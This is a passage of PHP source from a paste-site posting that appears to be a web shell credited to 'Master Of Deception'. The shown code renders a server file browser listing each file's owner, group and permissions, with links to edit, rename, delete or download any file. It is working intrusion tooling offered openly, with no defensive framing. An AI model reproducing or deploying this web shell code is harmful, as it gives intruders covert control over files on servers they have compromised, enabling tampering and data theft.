- echo "<td class='td_home'><center>$dtype</center></td>";
- echo "<td class='td_home'><center>-</center></th></td>";
- echo "<td class='td_home'><center>$dtime</center></td>";
- echo "<td class='td_home'><center>$downer/$dgrp</center></td>";
- echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
- echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
- echo "</tr>";
- }
- }
- } else {
- echo "<font color=red>can't open directory.</font>";
- }
- foreach($scandir as $file) {
- $ftype = filetype("$dir/$file");
- $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
- $size = filesize("$dir/$file")/1024;
- $size = round($size,3);
- if(function_exists('posix_getpwuid')) {
- $fowner = @posix_getpwuid(fileowner("$dir/$file"));
- $fowner = $fowner['name'];
- } else {
- //$downer = $uid;
- $fowner = fileowner("$dir/$file");
- }
- if(function_exists('posix_getgrgid')) {
- $fgrp = @posix_getgrgid(filegroup("$dir/$file"));
- $fgrp = $fgrp['name'];
- } else {
- $fgrp = filegroup("$dir/$file");
- }
- if($size > 1024) {
- $size = round($size/1024,2). 'MB';
- } else {
- $size = $size. 'KB';
- }
- if(!is_file("$dir/$file")) continue;
- echo "<tr>";
- echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
- echo "<td class='td_home'><center>$ftype</center></td>";
- echo "<td class='td_home'><center>$size</center></td>";
- echo "<td class='td_home'><center>$ftime</center></td>";
- echo "<td class='td_home'><center>$fowner/$fgrp</center></td>";
- echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
- echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
- echo "</tr>";
- }
- echo "</table>";
- if(!is_readable($dir)) {
- //
- } else {
- echo "<hr>";
- }
- echo "<center>Copyright © ".date("Y")." - <a href='http://facebook.com/OM.Dhyo' target='_blank'><font color=lime>Master Of Deception</font></a></center>";
- }
- ?>
- </html>
Add Comment
Please, Sign In to add comment